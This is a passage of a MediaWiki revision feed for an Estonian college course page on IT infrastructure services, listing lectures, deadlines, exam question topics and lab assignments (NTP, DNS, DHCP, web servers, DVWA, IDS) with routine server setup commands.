Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88407</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88407"/>
		<updated>2015-05-11T09:15:42Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Abimaterjal */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88406</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88406"/>
		<updated>2015-05-11T07:08:08Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Labor 8 - IDS (10p/10%) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
